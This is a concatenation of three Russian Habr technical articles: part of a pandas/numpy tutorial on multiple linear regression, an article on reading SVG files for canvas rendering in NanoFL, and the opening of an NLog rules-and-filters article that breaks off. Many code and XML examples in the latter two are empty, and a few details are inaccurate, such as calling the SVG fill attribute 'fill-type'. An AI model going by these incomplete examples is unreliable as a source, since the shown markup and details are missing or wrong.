Помимо скаляров и матриц, в pandas можно складывать совместимые матрицы, например, из матрицы можно вычитать скаляры либо совместимые матрицы. Умножение матриц на скаляр в результате дает матрицу, в которой каждый элемент умножен на скаляр.
Имплементация на Python с использованием pandas:
```
df1 * 3
```
```
0 1
0 3 0
1 6 15
2 9 3
```
Матрично-векторное умножение
----------------------------
В функции `dot` с применением сложного алгоритма матричного умножения имплементирован стандартный способ умножения матриц. Например, результатом умножения матрицы размера 3 × 2 на матрицу размера 2 × 1 является матрица размера 3 × 1, при этом число столбцов слева должно совпадать с числом строк справа:
Для получения *Ax* надо помножить каждую строку *A*поэлементно с соответствующим элементом матрицы *x* и сложить результаты. Например, первая строка матрицы *A* содержит элементы 1 и 3. Они попарно умножаются на элементы в векторе *x*: 1 и 5. Затем, произведения чисел складываются и в результате получаем 16. Эта операция называется *точечным произведением*, или скалярным произведением, для чего, собственно, и предназначено матричное умножение.
Имплементация на Python с использованием pandas:
```
df3 = pd.DataFrame([[1,3],[0,4],[2,1]])
vec = [1,5]
df3.dot(vec)
```
```
0 16
1 20
2 7
dtype: int64
```
Матрично-матричное умножение
----------------------------
Выполнение матрично-матричного умножения матриц очень походит на матрично-векторное умножение. Из соответствующих элементов матриц *A* и *B* попарно, строка за строкой и столбец за столбцом, берется сумма произведений.
Как и ранее, мы можем умножать матрицы между собой, только когда число столбцов в первой матрице равно числу строк во второй. Если первая матрица *A* имеет размерность *mA* × *nA*, а вторая матрица *B* — размерность *mB* × *nB*, то для того чтобы их перемножить, *nA* и *mB* должны быть эквивалентными.
В приведенном выше наглядном примере:
К счастью, нам не нужно запоминать эту процедуру. В библиотеках pandas и numpy используются очень эффективные алгоритмы, которые выполняют матричную алгебру за нас.
```
df3 = pd.DataFrame([[1,3],[0,4],[2,1]])
df4 = pd.DataFrame([[1,0],[5,6]])
df3.dot(df4)
```
```
0 1
0 16 18
1 20 24
2 7 6
```
Или то же самое в библиотеке numpy:
```
np.matmul(df3,np.asarray(df4))
```
Транспонирование
----------------
Транспонировать матрицу означает перевернуть матрицу по главной диагонали, проходящей из верхнего левого угла в нижний правый угол. Транспонирование матрицы *A*обозначается как *AT*:
Столбцы и строки изменились таким образом, что:
Следовательно, если:
то:
Имплементация на Python с использованием pandas:
```
df3.T
```
```
0 1 2
0 1 0 2
1 3 4 1
```
Подробнее об операциях с матрицами и векторами см. в моем [репо](https://github.com/capissimo/python-for-data-science/blob/master/ch03_Correlation.ipynb) на Gitgub для этой серии постов.
Нейтральная матрица
-------------------
Некоторые матрицы имеют особые свойства и регулярно используются в матричной алгебре. Одной из самых важных таких матриц является нейтральная матрица, или единичная матрица. Это квадратная матрица с единицами вдоль главной диагонали и нулями в остальных позициях:
Единичная матрица — это нейтральная по умножению матрица (или нейтральный элемент для умножения). Как и при скалярном умножении на число 1, матричное умножение на нейтральную матрицу не имеет никакого эффекта.
Для получения нейтральной матрицы нам придется обратиться к функции библиотеке numpy `np.identity`, которая конструирует нейтральные матрицы. Учитывая, что они всегда квадратные, мы передаем всего один аргумент, который обозначает ширину и высоту одновременно.
Имплементация на Python с использованием pandas:
```
df = pd.DataFrame(np.identity(5))
df
```
```
0 1 2 3 4
0 1.0 0.0 0.0 0.0 0.0
1 0.0 1.0 0.0 0.0 0.0
2 0.0 0.0 1.0 0.0 0.0
3 0.0 0.0 0.0 1.0 0.0
4 0.0 0.0 0.0 0.0 1.0
```
Обратная матрица
----------------
Если мы имеем квадратную матрицу *A*, то обратная для *A* матрица обозначается как *A-*1, и она будет иметь следующие свойства, где *I* — это нейтральная матрица:
Нейтральная матрица является обратной самой себе. Не все матрицы обратимы. Необратимые матрицы также называются *сингулярными* или *вырожденными*. Обратная матрица вычисляется посредством функции `np.linalg.pinv` из модуля линейной алгебры библиотеки numpy.
Имплементация на Python с использованием pandas:
```
df5 = pd.DataFrame(np.random.rand(3, 3), list('abc'), list('xyz'))
print(df5)
df_inv = pd.DataFrame(np.linalg.pinv(df5.values), df5.columns, df5.index)
print(df_inv)
```
```
x y z
a 0.625754 0.385261 0.462726
b 0.615084 0.111360 0.255420
c 0.723909 0.270869 0.221620
a b c
x -1.451613 1.303231 1.528861
y 1.584699 -6.402303 4.070011
z 2.804750 3.568103 -5.456161
```
Нормальное уравнение
--------------------
Рассмотрев основы матричного и векторного умножения, теперь мы в том состоянии, когда можно приступать к изучению *нормального уравнения*. Это уравнение, в котором для вычисления коэффициентов линейной регрессионной модели методом обычных наименьших квадратов используется матричная алгебра:
Мы читаем «для отыскания *β* надо умножить инверсию произведения транспонированной *X*и *X*, на произведение транспонированной *X* и *y*», где *X*— это матрица независимых переменных (включая член пересечения) и *y*— вектор, содержащий зависимые переменные нашей выборки. Результат *β*содержит вычисленные коэффициенты. Нормальное уравнение относительно легко выводится из уравнения множественной регрессии, применяя правила матричного умножения, однако соответствующие математические выкладки лежат за пределами объема данного поста.
Указанное нормальное уравнение можно имплементировать на Python, используя для этого только те функции, с которыми мы только что познакомились:
```
def normal_equation(x, y):
'''Имплементация нормального уравнения'''
# numpy.linalg.inv(A) фактически вызывает numpy.linalg.solve(A,I),
# где I - это нейтральная матрица, и находит решение разложением
# LU матрицы средствами динамической библиотеки lapack
xtx = np.matmul(x.T.values, x.values)
# вычислить мультипликативную инверсию матрицы
xtxi = np.matmul(np.linalg.inv(np.matmul(xtx.T,xtx)),xtx.T)
xty = np.matmul(x.T.values, y.values)
return np.matmul(xtxi, xty)
```
Нормальное уравнение выражает математику регрессии методом обычных наименьших квадратов в очень сжатой форме. Его можно использовать следующим образом (помня о добавлении смещения):
```
def ex_3_18():
'''Решение нормального уравнения
на примере данных роста и веса'''
df = swimmer_data()
X = df[['Рост, см']]
X.insert(0, 'константа', 1)
y = df['Вес'].apply(np.log)
return normal_equation(X, y)
```
В результате выполнения этого примера получим следующую матрицу:
```
array([ 1.69103131, 0.01429648])
```
Это значения представляют коэффициенты *β*1 и *β*2, которые соответствуют параметрам пересечения и наклона. К счастью, они согласуются со значениями, которые мы вычислили ранее.
Дополнительные признаки
-----------------------
Часть мощи нормального уравнения состоит в том, что мы теперь имплементировали все, что нам нужно для того, чтобы обеспечить имплементацию множественной линейной регрессии. К счастью, нам не нужно специально создавать функцию для конвертации интересующих нас признаков в матрицу. Библиотека pandas позволяет за один прием отобрать отдельные столбцы для матрицы.
В машинном усвоении закономерностей (Да-да, именно так. См. мои посты «[Никто никого не обучает](https://habr.com/ru/post/554150/)» и «[Что такое machine learning?](https://habr.com/ru/post/555048/)») в качестве синонима для независимой переменной широко используется понятие «признак», англ. feature. Другими синонимами являются «предсказатель», «предиктор», «регрессор», «объяснительная переменная», либо просто «входная переменная».
Для начала в качестве наших двух признаков отберем рост и возраст:
```
def ex_3_19():
'''Пример создания матрицы признаков NumPy
на примере данных роста и возраста'''
X = swimmer_data()[['Рост, см', 'Возраст']]
X.insert(0, 'константа', 1)
return X.values
```
В результате выполнения этого примера получим следующую ниже матрицу из трех столбцов:
```
array([[ 1., 166., 23.],
[ 1., 192., 22.],
[ 1., 173., 20.],
...,
[ 1., 188., 24.],
[ 1., 187., 19.],
[ 1., 183., 22.]])
```
Наша функция нормального уравнения примет эту новую матрицу без какого-либо дальнейшего изменения:
```
def ex_3_20():
'''Решение нормального уравнения
для данных роста и возраста в качестве независимых и
веса в качестве зависимой переменной'''
df = swimmer_data()
X = df[['Рост, см', 'Возраст']]
X.insert(0, 'константа', 1)
y = df['Вес'].apply(np.log)
return normal_equation(X, y)
```
В результате получим нижеследующие коэффициенты:
```
array([1.69002036, 0.01395437, 0.00279859])
```
Эти три числа соответствуют соответственно пересечению, наклону (угловому коэффициенту) для роста (0.013954) и наклону для возраста (0.002799). В целях установления факта улучшения нашей модели за счет этих новых данных можно рассчитать значение *R*2 нашей новой модели и сравнить его с представленным ранее.
Множественный R-квадрат
-----------------------
При расчете *R*2в ранее рассмотренном случае мы увидели, каким образом он выражает объем дисперсии, объясненной моделью:
Учитывая, что дисперсия — это средневзвешенная квадратичная ошибка, мы можем умножить оба члена *var*(*ε*)и *var*(*y*) на размер выборки и прийти к приведенному ниже альтернативному уравнению для *R*2:
Это попросту сумма квадратичных остатков на сумме квадратичных отклонений от среднего. При помощи функций библиотеки pandas `dot` функция суммы квадратов имплементируется элементарно, что во многом упрощает имплементацию матричного *R*-квадрата в исходном коде:
```
def matrix_r_squared(coefs, x, y):
'''Вычислить матричный R-квадрат'''
fitted = x.dot(coefs)
residuals = y - fitted
difference = y - y.mean()
rss = residuals.dot(residuals) # сумма квадратов
ess = difference.dot(difference)
return 1 - (rss / ess)
```
Переменная rss обозначает *остаточную сумму квадратов*, от англ. residual sum of squares (RSS), переменная ess — *объясненную сумму квадратов*, от англ. explained sum of squares (ESS). Мы можем вычислить матричный *R*2 для нашей новой модели следующим образом:
```
def ex_3_21():
'''Вычислить матричный R-квадрат
на данных роста и возраста в качестве независимых и
веса в качестве зависимой переменной'''
df = swimmer_data()
X = df[['Рост, см', 'Возраст']]
X.insert(0, 'константа', 1)
y = df['Вес'].apply(np.log)
beta = normal_equation(X, y)
return matrix_r_squared(beta, X, y)
```
```
0.7568466547183842
```
В результате выполнения этого примера получим значение 0.757. Значение *R*2 увеличилось на небольшую величину за счет включения возраста. Учитывая, что мы использовали несколько независимых переменных, *R*2теперь называется *коэффициентом множественной детерминации*.
Скорректированный матричный R-квадрат
-------------------------------------
Мотивом для добавления в регрессию больше независимых переменных может быть то, что наше значение *R*2всегда растет. Добавление новых независимых переменных не сделает предсказание зависимой переменной сложнее — если новая объяснительная переменная не имеет объяснительной силы, то ее коэффициент просто будет равен 0, и *R*2останется таким же, каким он был без этой независимой переменной.
Вместе с тем, добавление новой переменной не говорит нам об улучшении или ухудшении модели. Если мы хотим узнать о том, помогает ли новая переменная на самом деле генерировать более качественную подгонку к данным, мы можем воспользоваться скорректированным , нередко записываемым как *R̅*2. В отличие от *R*2, скорректированный *R̅*2 будет расти, только если новая независимая переменная увеличивает *R*2больше, чем ожидается вследствие случайности:
```
def matrix_adj_r_squared(coefs, x, y):
'''Вычислить скорректированный матричный R-квадрат'''
r_squared = matrix_r_squared(coefs, x, y)
n = y.shape[0] # строки
p = coefs.shape[0]
dec = lambda x: x-1
return 1 - (1 - r_squared) * (dec(n) / dec(n-p))
```
Скорректированный *R̅*2зависит от двух дополнительных параметров, *n*и *p*, которые относятся соответственно к размеру выборки и числу модельных параметров:
```
def ex_3_22():
'''Вычислить скорректированный матричный R-квадрат
на данных роста и возраста в качестве независимых и
веса в качестве зависимой переменной'''
df = swimmer_data()
X = df[['Рост, см', 'Возраст']]
X.insert(0, 'константа', 1)
y = df['Вес'].apply(np.log)
beta = normal_equation(X, y)
return matrix_adj_r_squared(beta, X, y)
```
```
0.7559934850858171
```
Этот пример возвращает значение 0.756. Оно по-прежнему крупнее изначальной модели, поэтому возраст определенно несет некую объяснительную силу.
#### Линейная модель в numpy и scipy
Хотя имплементация нашей собственной версии нормального уравнения и *R̅*2предоставляет ценную возможность познакомиться с матричной алгеброй, важно отметить, что библиотеки numpy и scipy предлагают соответственно функции `np.linalg.lstsq` и `stats.linregress`, которые делают все то, что мы рассмотрели и даже больше. В прилагаемых к данной серии постов примерах исходного кода имеется пример, в котором продемонстрирована работа этих функций.
К примеру, функция numpy `np.linalg.lstsq` ожидает вызова с аргументами *x* и *y* (в виде последовательностей либо матриц, в случае множественной регрессии). Указанная функция вернет коллекцию `x`, содержащую решение методом обычных наименьших квадратов, остатки `residuals`, эффективный ранг матрицы `rank` и сингулярные значения `s`. Мы воспользуемся этой функцией для написания простой обертки, которую будем использовать вместо собственной имплементации нормального уравнения. Наша имплементация функции линейной модели будет возвращать только коэффициенты модели и будет использоваться для расчета беты, в частности, в приведенном ниже *F*-тесте:
```
def linear_model(x, y):
'''Обертка вокруг библиотечной функции
линейной регрессии наименьшими квадратами,
вместо собственной имплементации нормального
уравнения normal_equation'''
return np.linalg.lstsq(x,y,rcond=-1)[0]
```
F-тест значимости модели
------------------------
Как мы выяснили в предыдущей серии постов о тестировании гипотез, проверка на основе *F*-теста применима, когда выполняется сразу несколько тестов статистической значимости. В случае с множественной линейной регрессией, мы проверяем статистическую неотличимость от нуля каких-либо коэффициентов модели, за исключением пересечения.
Поэтому наши нулевая и альтернативная гипотезы будут следующими:
Здесь *j* — это некий индекс в векторе параметров за исключением пересечения, т.е. свободного члена. Вычисляемая нами *F*-статистика представляет собой отношение объясненной дисперсии на необъясненной (остаточной) дисперсии. Она может быть выражена через отношение *средневзвешенного квадрата регрессионной модели*, от англ. mean squared model (MSM) на *средневзвешенной квадратичной ошибке*, от англ. mean square error (MSE):
Средневзвешенный квадрат регрессионной модели (MSM) равен *объясненной сумме квадратов*(ESS) деленной на модельную степень свободы, где модельная степень свободы — это число параметров в модели за исключением свободного члена. Средневзвешенная квадратичная ошибка (MSE) равна *остаточной сумме квадратов* (RSS) деленной на остаточную степень свободы, где остаточная степень свободы — это размер выборки минус число модельных параметров.
После расчета *F*-статистики мы отыскиваем ее в *F*-распределении, параметризованном теми же двумя степенями свободы:
```
def f_test(fitted, x, y):
'''F-тест коэффициентов регрессии'''
difference = fitted - y.mean()
residuals = y - fitted
ess = difference.dot(difference) # сумма квадратов
rss = residuals.dot(residuals)
p = x.shape[1] # столбцы
n = y.shape[0] # строки
df1 = p - 1
df2 = n - p
msm = ess / df1
mse = rss / df2
f_stat = msm / mse # mse модели / mse остатков
f_test = 1-stats.f.cdf(f_stat, df1, df2)
return f_test
```
```
def ex_3_23():
'''Проверка значимости модели на основе F-теста
на примере данных роста, возраста и веса'''
df = swimmer_data()
X = df[['Рост, см', 'Возраст']]
X.insert(0, 'константа', 1.0)
y = df['Вес'].apply(np.log)
beta = linear_model(X, y)
fittedvalues = np.dot(X,beta)
# проверка коэффициентов модели
return ('F-тест', f_test(fittedvalues, X, y))
```
```
('F-тест', 1.1102230246251565e-16)
```
В результате проверки будет получено число 1.11x10e-16. Это ничтожно малое число, и, как следствие, можно быть уверенными в том, что модель значима.
Отметим, что при малых выборках *F*-тест количественно измеряет увеличивающуюся неопределенность, что линейная модель допустима. В условиях случайной выборки из пяти элементов, например, данные иногда едва показывают какую-либо линейную связь вообще, и *F*-тест трактует данные, как незначимые даже при 50%-ом интервале уверенности.
Категориальные и фиктивные переменные
-------------------------------------
Теперь мы могли бы попытаться включить в регрессионный анализ «Пол» в качестве признака, однако мы столкнемся с проблемой. Входные данные выражены не числом, а как «М» или «Ж». Это пример категориальной переменной: переменной, которая может принимать одно из конечного множества неупорядоченных и (обычно) нечисловых значений. Другими примерами категориальных переменных является вид спорта, в котором спортсмен специализируется, или отдельно взятое состязание, в котором он наиболее квалифицирован.
Обычные наименьшие квадраты опираются на числовое значение минимизируемого остаточного расстояния. Каким может быть расстояние между плаванием и легкой атлетикой в числовом выражении? Из этого может следовать, что включить категориальные переменные в наше уравнение регрессии невозможно.
Категориальные или номинальные переменные стоят в отдельном ряду по сравнению с непрерывными переменными, т.к. они не лежат на числовой оси. Иногда категории представлены цифрами, как например, почтовые индексы, при этом мы не должны исходить из того, что числовые категории с неизбежностью упорядочены либо что интервал между категориями равный.
К счастью, многие категориальные переменные могут рассматриваться как дихотомические и, в действительности, наши выборочные данные содержат две категории половой принадлежности. Их можно внести в нашу регрессионную модель при условии, что мы преобразуем их в два числа, например, 0 и 1.
Когда такая категория, как вид спорта, принимает более двух значений, для каждого вида спорта можно внести независимую переменную. При этом создают переменную для плавания и еще одну для тяжелой атлетики и т.д. Значение для плавания будет равно 1 для пловцов и 0 — для остальных.
Поскольку половая принадлежность может оказаться для нашей регрессионной модели полезной объяснительной переменной, давайте преобразуем женский пол в 0 и мужской — в 1 и добавим производный столбец, который будет содержать фиктивную переменную.
Давайте рассчитаем значение *R̅*2, чтобы засвидетельствовать наличие или отсутствие улучшения в этом скорректированном показателе:
```
def ex_3_25():
'''Обработка категориальных признаков
(создание двоичной переменной)'''
df = swimmer_data()
df['бин_Пол'] = df['Пол'].map({'М': 1, 'Ж': 0}).astype(int) # строковое -> числовое
X = df[['Рост, см', 'Возраст', 'бин_Пол']]
X.insert(0, 'константа', 1)
y = df['Вес'].apply(np.log)
beta = linear_model(X, y)
return matrix_adj_r_squared(beta, X, y)
```
```
0.8082954905432824
```
В результате выполнения этого примера получим 0.809. С участием таких признаков, как рост, возраст и пол, мы успешно объяснили более 80% дисперсии в весе наших олимпийских пловцов.
Относительная мощность
----------------------
На этом этапе, возможно, было бы целесообразным поинтересоваться, какой признак играет самую важную роль в объяснении наблюдавшегося веса: возраст, пол или рост? Мы могли бы воспользоваться нашим скорректированным *R*2 и взглянуть, насколько его значение изменяется, но это потребовало бы от нас повторно рассчитывать регрессию для каждой переменной, которую мы хотим проверить.
Мы не сможем обратиться к величине коэффициентов, потому что диапазоны данных, к которым они применяются, существенно различаются: высота в сантиметрах, возраст в годах и пол в виде фиктивной переменной, в диапазоне от 0 до 1.
Для того чтобы сравнить относительный вклад коэффициентов, можно вычислить стандартизированный коэффициент регрессии, или бета-коэффициент.
В целях вычисления бета-коэффициента мы умножаем каждый коэффициент на отношение стандартных отклонений для связанной независимой переменной к модельной независимой переменной. Это можно имплементировать при помощи следующего ниже исходного кода на Python:
```
def beta_weight(coefs, x, y):
'''Вычисление относительного вклада каждого признака'''
sdx = x.std()
sdy = y.std()
return [x / sdy * c for x,c in zip(sdx,coefs)]
```
```
def ex_3_26():
'''Относительный вклад каждого признака в предсказании веса
на примере данных роста, возраста и пола'''
df = swimmer_data()
# получить двоичное поле
df['бин_Пол'] = df['Пол'].map({'М': 1, 'Ж': 0}).astype(int)
X = df[['Рост, см', 'Возраст', 'бин_Пол']]
X.insert(0, 'константа', 1)
y = df['Вес'].apply(np.log)
beta = linear_model(X, y)
res = beta_weight(beta, X, y)
return res
```
В результате мы получим (округлено до трех десятичных знаков):
```
[0.0, 0.6501469135033348, 0.05842998157513067, 0.30387262631851747]
```
Данный результат показывает, что рост является самой важной объяснительной переменной, за которым идут пол и возраст. Преобразование результата в стандартизированные коэффициенты говорит о том, что с увеличением одного стандартного отклонения в росте средний вес увеличивается на 0.65 стандартных отклонений.
Коллинеарность
--------------
На данном этапе мы могли бы попытаться продолжить добавлять признаки в модель, стараясь увеличить объяснительную силу.
Например, в нашем распоряжении также имеется столбец «Дата рождения», и может возникнуть соблазн попытаться внести и его. Это дата, но мы легко могли бы конвертировать ее в число, подходящее для использования в регрессии. Это можно сделать, попросту взяв год из даты рождения, воспользовавшись для этого библиотечной функцией pandas `pd.to_datetime`:
```
'''Служебная функция приведения строкового
представления даты к типу DateTime и извлечение года'''
str_to_year = lambda x: pd.to_datetime(x).year
def ex_3_27():
'''Относительный вклад признаков в предсказании веса
с участием признака с датой (год)'''
df = swimmer_data()
df['бин_Пол'] = df['Пол'].map({'М': 1, 'Ж': 0}).astype(int)
df['Год рождения'] = df['Дата рождения'].map(str_to_year)
X = df[['Рост, см', 'Возраст', 'бин_Пол', 'Год рождения']]
X.insert(0, 'константа', 1.0)
y = df['Вес'].apply(np.log)
beta = linear_model(X, y)
return beta_weight(beta, X, y)
```
```
[-0.0,
0.650070475196164,
0.09580282723307212,
0.3041431115029873,
0.03769748899125406]
```
Новый признак «Год рождения» имеет бета-коэффициент всего 0.038, меньше веса признака «Возраст», который мы вычислили ранее. Однако, вес признака «Возраст» теперь показывает значение 0.096. Его относительная важность увеличилась более чем на 65%, поскольку мы добавили признак «Год рождения». Тот факт, что добавление нового признака изменило важность существующего признака, указывает на то, что имеется проблема.
Включив дополнительный параметр «Год рождения», мы непреднамеренно нарушили правило регрессионного оценивания. Посмотрим почему:
```
def ex_3_28():
'''График коллинеарности возраста спортсменов и даты их рождения'''
df = swimmer_data()
df['Год рождения'] = df['Дата рождения'].map(str_to_year)
xs = df['Возраст'].apply(jitter(0.5))
ys = df['Год рождения']
pd.DataFrame(np.array([xs,ys]).T).plot.scatter(0, 1, s=3, grid=True)
plt.xlabel('Возраст')
plt.ylabel('Год рождения')
#saveplot('ex_3_28.png')
plt.show()
```
Приведенный ниже точечный график возраста пловцов (с джиттером) построен в сопоставлении с их годом рождения. Как вы и ожидали, две переменные очень близко коррелируют:
Мультиколлинеарность
--------------------
В целях генерирования наилучших оценок коэффициентов множественной регрессии, базовые данные должны подчиняться тем же допущениям, что и простая регрессия плюс одному дополнительному — отсутствию полной *мультиколлинеарности*. Это означает, что независимые переменные не должны строго линейно коррелировать друг с другом.
На практике независимые переменные часто в определенной мере коллинеарны. Обратите внимание, например, что возраст и рост или пол и рост сами коррелируют друг с другом. Серьезные ошибки в коэффициентах могут возникать, только когда это условие принимает крайние значения.
Если независимые переменные, на самом деле, не являются независимыми, то линейная регрессия не сможет определить относительный вклад каждой независимой переменной. Если два признака так сильно коррелированы, что они всегда изменяются вместе, то каким образом алгоритм сможет различить их относительную важность? Как следствие, в оценках коэффициентов может проявиться высокая дисперсия и высокая стандартная ошибка.
Мы уже видели один симптом высокой мультиколлинеарности: коэффициенты регрессии, которые значительно изменяются, когда независимые переменные добавляются либо удаляются из уравнения. Еще один симптом проявляется, когда во множественной регрессии имеется незначительный коэффициент для отдельно взятой независимой переменной, но значительный *R*2 для простой регрессионной модели с использованием этой же независимой переменной.
Хотя эти симптомы служат индикаторами мультиколлинеарности, в целях подтверждения, мы должны напрямую обратиться к взаимной корреляции независимых переменных. Хороший способ определить взаимную корреляцию состоит в проверке корреляции между каждой из независимых переменных, отыскивая коэффициенты в размере 0.8 или больше. Хотя этот простой подход часто срабатывает, нередко ему не удается учитывать ситуации, в которых независимая переменная имеет линейную связь с другими переменными, взятыми вместе.
Самый верный метод оценить степень мультиколлинеарности состоит в оценке регрессии каждой независимой переменной на всех других независимых переменных. Если любой *R*2 из этих уравнений близок к 1.0, то имеется высокая мультиколлинеарность. На деле самый крупный из этих *R*2 служит в качестве индикатора степени существующей мультиколлинеарности.
После выявления мультиколлинеарности имеется несколько способов решить эту проблему:
* Увеличить размер выборки. Больше данных могут дать более точные оценки параметров с меньшими стандартными ошибками.
* Совместить признаки в один признак. Если у вас несколько признаков, которые в сущности измеряют тот же атрибут, то следует найти способ их унификации в один признак.
* Отбросить проблемную переменную (или переменные).
* Ограничить уравнение предсказания. Коллинеарность влияет на коэффициенты модели, но результат может по-прежнему хорошо вписываться в данные.
Учитывая, что возраст и год рождения в сущности несут одинаковую информацию, мы вполне можем отбросить один из этих признаков. Можно легко увидеть, какой из двух содержит больше объяснительной силы, рассчитав двухфакторную регрессию для каждого признака и зависимой переменной.
«Возраст» *R*2 = 0.1049, тогда как «Год рождения» *R*2 = 0.1050.
Как и ожидалось, между двумя переменными практически нет разницы, и каждая из них объясняет порядка 10% дисперсии в весе. Поскольку год рождения объясняет чуть больше дисперсии, мы его оставим и отбросим признак «Возраст».
Примеры исходного кода для этого поста находятся в моем [репо](https://github.com/capissimo/python-for-data-science) на Github. Все исходные данные взяты в [репозитории](https://github.com/clojuredatascience/ch3-correlation) автора книги.
В следующем коротком посте, [посте №4](https://habr.com/ru/post/558158/), будет рассмотрен процесс предсказания. | https://habr.com/ru/post/558146/ | null | ru | null |
# SVG-файлы изнутри и вывод векторных изображений на canvas «вручную» (ч.1)
Эта статья написана по следам создания плагина для чтения SVG файлов для анимационного векторного редактора [NanoFL](http://nanofl.com/). В ней вы найдёте некоторые особенности того, как устроены файлы SVG изнутри и какие проблемы возникают при их разборе и последующем выводе на HTML5/Canvas средствами JavaScript.
Формат SVG стал по факту стандартом на обмен векторной графикой между различными программами. Поэтому, было решено сделать его [поддержку в NanoFL](http://nanofl.com/docs/svg/). В процессе подобной разработки важно контролировать правильность чтения и интерпретации файлов, для чего с сайта w3.org была скачана [коллекция SVG-изображений](https://dev.w3.org/SVG/tools/svgweb/samples/svg-files/) различной тематики.
Общие сведения о том, что находится внутри файлов SVG
=====================================================
Как все, наверное, знают SVG-файлы содержат простые текстовые данные в формате XML. Поэтому, их, теоретически, можно открывать и редактировать в обычном текстовом редакторе. Конечно, на практике это имеет смысл лишь для быстрых правок в небольших файлах.
Вот обзор того, что может содержать SVG-файл:
1. Заголовок ().
2. Определения () — здесь хранятся описания градиентов и объектов, которые не нужно выводить непосредственно (сразу).
3. Группа () — это контейнер для рисуемых элементов, на который можно сослаться при необходимости.
4. Векторная фигура () — набор правил для рисования ("перейти в заданную точку", "нарисовать отрезок из текущей позиции в заданную точку"). Поддерживаются как прямые отрезки, так и кривые Безье 2-го и 3-го порядка, а также дуги окружности.
5. Тест () — однострочный текст (в SVG нет полноценной поддержки многострочных текстов).
6. Градиент (, ).
7. Область отсечения () — задаёт фигуру, которая может использоваться для отсечения при выводе.
8. Узор () — задаёт фигуру, которой можно заливать замкнутые области.
9. Маска () — задаёт объект, alpha-значения пикселей которого можно использовать при выводе произвольного объекта.
10. Фильтр () — один из предопределённых способов пост-обработки заданного графического элемента (например, его размытие).
11. Растровая картинка ().
12. Анимация (её поддержка не была реализована в NanoFL и потому не рассматривается в этой статье).
Ниже мы рассмотрим особенности некоторых элементов, упомянутых выше.
Заголовок
=========
Обычно имеет следующий вид:
```
```
Практические особенности:
* `xmlns:xlink="http://www.w3.org/1999/xlink"` — без этого атрибута мы не сможем ссылаться внутри файла на те или иные его элементы (а это нужно, например, если мы хотим несколько раз вывести одну и ту же фигуру или назначить элементу градиент для заливки);
* `width/height` — довольно важные атрибуты — задают физические размеры холста, на котором будет выводиться изображение; почти всегда их лучше указывать (и лучше в пикселях), иначе некоторые программы не смогут понять, какого размера картинку мы ожидаем получить при растеризации;
* `viewBox` — задаёт координаты и размеры "окна видения"; используется браузерами для позиционирования картинки в области рендеринга (т.е. на холсте), может игнорироваться другими программами.
Группы
======
Группа — это тег-контейнер, внутри которого могут быть практически любые элементы. Используется как правило или для того, чтобы задать некоторые параметры (например, заливку, область отсечения или фильтр) сразу для всех внутренних элементов, или чтобы впоследствии иметь возможность сослаться на эти элементы. Группа напоминает символ в библиотеке редактора, который мы можем использовать несколько раз, причём видоизменяя его при использовании (для того, чтобы сослаться на группу, используется тег ). Ниже приведён пример задания группы и использования ссылок на неё.
```
```
Векторные фигуры
================
Для определения векторных фигур в SVG используется несколько тегов: универсальный и частные , и . Интересны следующие моменты:
1. Линии фигур могут пересекаться (что неприемлемо как Flash Pro, так и для NanoFL).
2. SVG поддерживает два различных метода определения того, какую из получившихся замкнутых областей считать внутренней (и, соответственно, закрашивать):
a) `fill-type="nonzero"` — из точки внутри области выпускается луч и отдельно считается количество его пересечений с линиями идущими по часовой стрелке и против часовой стрелки; область закрашивается, если полученные числа не совпадают;
b) `fill-type="evenodd"` — из точки внутри области выпускается луч и считается количество пересечений с линиями, задающими границу; область закрашивается, если количество пересечений нечётно.
Обе эти особенности были учтены при реализации в NanoFL: все линии разбиваются по точкам пересечений и фигура реконструируется в соответствии с указанным методом выбора варианта закраски. Если же вам вам нужно просто вывести объект на `canvas`, то проблемы нет вообще: `Context2D.fill()` поддерживает как фигуры с самопересечениями, так и указание метода закраски.
```
```
Узоры
=====
Закрашивать замкнутые области в SVG можно произвольным векторным узором. На `canvas` такое невозможно: `Context2D` поддерживает создание pattern-ов, однако, в их качестве предлагается использовать растровые изображения, а не векторные. Обходным манёвром здесь может быть растеризация вектора на canvas в памяти с последующей заливкой им заданной области. Однако, в общем случае, это приведёт к серьёзной потере производительности (т.к. невозможно растрировать узор заранее и использовать везде из-за незнания масштаба заливаемого объекта). Поэтому, помня о том, что узоры довольно редко используются в реальных художественных векторных изображениях, было решено отказаться от их поддержки в NanoFL.
Заключение
==========
SVG поддерживает богатый набор возможностей для вывода векторных изображений, однако, не все они имеют прямое отображение в методы, связанные с `canvas`. Поэтому, где-то есть смысл в написании умного кода, который сделает "как на SVG", а где-то, возможно, стоит отказаться от поддержки функциональности в угоду производительности.
Автор будет рад любым конструктивным комментариям. | https://habr.com/ru/post/276519/ | null | ru | null |
# NLog: правила и фильтры
NLog: правила и фильтры
=======================
В [Confirmit](https://www.confirmit.com) мы используем библиотеку [NLog](https://github.com/NLog/NLog) для логирования в наших .NET-приложениях. Хотя для этой библиотеки существует документация, для меня было сложно понять, как все это работает. В данной статье я попытаюсь объяснить, как правила и фильтры применяются в NLog. Давайте начнем.
Как конфигурировать NLog
------------------------
И начнем мы с небольшого напоминания, что мы можем делать с помощью конфигурации NLog. В простейшем случае, эта конфигурация представляет собой XML-файл (например, NLog.config):
```
xml version="1.0" encoding="utf-8" ?
```
Вы можете загрузить этот файл одной строкой кода:
```
LogManager.Configuration = new XmlLoggingConfiguration("NLog.config");
```
Что мы можем сделать с его помощью? Мы можем установить несколько приемников сообщений (target) на правило:
```
```
Мы можем определить, для каких уровней логирования это правило задействовано:
```
```
Мы можем задать фильтры для каждого правила:
```
```
И, наконец, мы можем определять вложенные правила:
```
```
Пришло время узнать, как все это работает.
Создание конфигурации логгера
-----------------------------
Когда вы запрашиваете экземпляр логгера,
```
var commonLogger = LogManager.GetLogger("Common");
```
NLog или берет уже существующий из кэша, или создает новый(см. [здесь](https://github.com/NLog/NLog/blob/af2ca41049fdb29c6da95d8e83156aad9c52d925/src/NLog/LogFactory.cs#L890)). В последнем случае для логгера с данным именем так же создается конфигурация. Давайте посмотрим на процесс ее создания.
Кратко говоря, конфигурация логгера представляет собой отдельные цепочки приемников и соответствующих фильтров для каждого уровня логирования (`Trace`, `Debug`, `Info`, `Warn`, `Error`, `Fatal`) (см. [здесь](https://github.com/NLog/NLog/blob/af2ca41049fdb29c6da95d8e83156aad9c52d925/src/NLog/Internal/LoggerConfiguration.cs#L41)). Сейчас я покажу вам, как эти цепочки строятся.
